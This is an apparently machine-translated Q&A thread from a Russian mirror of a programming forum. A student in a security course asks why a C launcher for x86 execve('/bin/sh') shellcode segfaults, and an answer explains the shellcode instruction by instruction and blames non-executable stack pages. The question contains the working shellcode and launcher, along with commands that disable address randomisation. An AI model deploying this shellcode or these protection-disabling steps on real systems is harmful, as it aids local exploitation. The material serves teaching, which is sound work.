2013-02-12 4 views
3

Я работаю над заданием школы, и я полностью в тупике. Профессор и ТП не оказали никакой помощи, так как каждый ответ, который они предоставляют любому учащемуся, - это вариация «продолжайте искать, ответ есть». Я пытаюсь создать оболочку, используя этот код:Ракета-носитель с встроенной сборкой

#include <stdio.h> 
#include <stdlib.h> 

const char code[] = 
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1" 
"\x99" 
"\xb0\x0b" 
"\xcd\x80" 
; 

int main(int argc, char **argv) 
{ 
printf("running...\n"); 

char buf[sizeof(code)]; 
strcpy(buf, code); 
((void(*)())buf)(); 
} 

Я попытался заменить code[] с некоторыми другими примерами найти в Интернете (в том числе этого сайта), а также примером из дополнительного PDF проф условия. Ни одно из них не было полезным. Я использовал gdb, чтобы разобрать и попытался построить свой собственный code[], и это тоже не удалось. Для чего это стоит, я могу сказать, что у обычного пользователя мое приложение segfaults на линии ((void(*)())buf)(); и просто завершает работу (без уведомления segfault) у пользователя root в той же строке.

Я понятия не имею, где еще взять это назначение, и я не могу работать над любой из последующих задач переполнения буфера, пока не смогу понять этот простой первый шаг. Любая помощь будет очень оценен.

EDIT: Я забыл упомянуть, я пробовал это как на OSX 10.8.2, так и на виртуальной машине Ubuntu через VirtualBox. Я предполагаю, что он не будет работать на OSX, но я был в отчаянии. га Для Ubuntu, мы попросили сделать:

Судо #sysctl -w kernel.randomize_va_space = 0

Sudo APT-получить установку ЗШ кд/бен Судо гт ш Судо пер -s/bin/zsh/bin/sh

Эти команды должны отключить рандомизацию адресного пространства, установить zsh и связать его с/bin/sh. Я закончил все эти задачи в VM без ошибок

+0

Ваша система, вероятно, отмечает страницы, в которых ваш стек находится как неисполняемый. В отладчике вы увидите ошибку сегментации во время команды 'call' с адресом' buf' в качестве параметра. Влияет ли ваше задание на обход этой защиты? –

+0

@MichaelFoukarakis Я намеревался добавить это, но было уже поздно! Теперь я отредактировал вопрос с дополнительной информацией, которая должна ответить на этот вопрос, на мой взгляд. –

+0

Ну, проблема, с которой вы сталкиваетесь, не имеет ничего общего с рассматриваемым кодом. Может быть, вы хотите опубликовать цель своего задания? –

ответ

10

Вашего кода разбирает на что-то вроде этого:

00000000 31C0    xor eax,eax 
00000002 50    push eax 
00000003 682F2F7368  push dword 0x68732f2f 
00000008 682F62696E  push dword 0x6e69622f 
0000000D 89E3    mov ebx,esp 
0000000F 50    push eax 
00000010 53    push ebx 
00000011 89E1    mov ecx,esp 
00000013 99    cdq 
00000014 B00B    mov al,0xb 
00000016 CD80    int 0x80 

ndisasm предоставлен. Давайте рассмотрим эти инструкции шаг за шагом и проанализируем фрейм стека на этом пути.

xor eax,eax регистрирует регистр eax, поскольку операция XOR операнда с самим собой всегда будет давать нуль в результате. push eax затем толкает значение в стек. Таким образом, стек в настоящее время выглядит более или менее, как это (смещения, показанными по отношению к значению esp в начале кода, esp означает ячейку стека, которая esp в настоящее время указывает на):

 +----------+ 
    0 | 00000000 | 
esp -4 | xxxxxxxx | 
     +----------+ 

Далее, мы имеем два push dword инструкции, которые проталкивают некоторое непосредственное значение в стек, который - после их выполнения - выглядит следующим образом:

 +----------+ 
    0 | 00000000 | 
    -4 | 68732f2f | 
    -8 | 6e69622f | 
esp -12| xxxxxxxx | 
     +----------+ 

esp в настоящее время указывает на последний байт второго непосредственного значения, что была отодвинута в стек. Попробуем интерпретировать перенесенные значения как ASCII в том порядке, в котором они будут считаны из стека, если мы начнем последовательно с текущего значения esp. Мы получаем байтовую последовательность 2f62696e2f2f7368, которая в ASCII равна /bin//sh. Кроме того, последовательность заканчивается на 0, поэтому она является допустимой C-строкой.

Это основная причина, по которой текущее значение esp сохраняется в регистре ebx.Он содержит путь к исполняемому файлу, который будет запущен. Двойная косая черта не является проблемой для ОС, поскольку POSIX просто игнорирует множественные вхождения косых черт и рассматривает их как одну косую черту.

Затем у нас есть текущие значения eax и ebx, помещенные в стек. Мы знаем, что eax содержит нуль, а ebx содержит указатель на C-строку "/bin//sh". Стек в настоящее время выглядит следующим образом:

  +----------+ 
     0 | 00000000 | 
     -4 | 68732f2f | 
     -8 | 6e69622f | 
    ebx -12| 00000000 | 
     -16| (ebxVal) | 
ecx esp -20| xxxxxxxx | 
      +----------+ 

После нажатия значения регистров в стек, текущий указатель esp сохраняется в ecx.

cdq - инструкция, выполняющая очень аккуратный трюк в этом случае: знак-расширяет текущее значение eax в парную регистрацию edx:eax. Поэтому в этом случае он обнуляет значение в edx, так как знак расширения нуля равен нулю. Разумеется, мы могли бы очистить значение в edx с помощью xor edx, edx, но эта инструкция кодируется двумя байтами - и cdq занимает только один.

Следующая инструкция помещает значение 0xb (11) в регистр нижнего байта eax. Точно так же, как и в предыдущем случае, мы могли бы просто сделать mov eax, 0xb, но это приведет к 5-байтовой инструкции, так как непосредственные должны быть закодированы как полные 32-битные значения.

int 0x80 вызывает вызов системного вызова в Linux. Он ожидает номер системного вызова в eax (который теперь равен 0xb, поэтому функция sys_execve будет называться), а также дополнительные аргументы в ebx, ecx, edx, esi, edi и ebp.

Теперь давайте посмотрим на прототип для этого системного вызова:

int execve(const char *filename, char *const argv[], char *const envp[]); 

Поэтому filename аргумент помещается в ebx - это указывает на /bin//sh. argv, размещенный в ecx, представляет собой массив аргументов для исполняемого файла, который должен быть выполнен, и должен быть прерван значением NULL. В архитектуре Intel NULL равен 0, а ecx указывает на это: указатель на /bin//sh, а затем значение NULL. envp, который равен NULL, указывает на массив значений среды, который должен быть выражен как char* значения формы key=value.

Успешное выполнение execve приводит к тому, что текущий образ процесса заменяется изображением исполняемого файла с указателем, выполняемого с предоставленными аргументами. В этом случае выполняется /bin/sh (если оно существует) с аргументом /bin//sh.

Возможно, Майкл был прав, почему это не работает: последние ядра Linux маркируют страницы данных как неисполняемые, и попытка их выполнения приведет к ошибке сегментации.

+0

Это было ценное знание, которое, я уверен, пригодится здесь в ближайшее время. Я ценю ваше время! –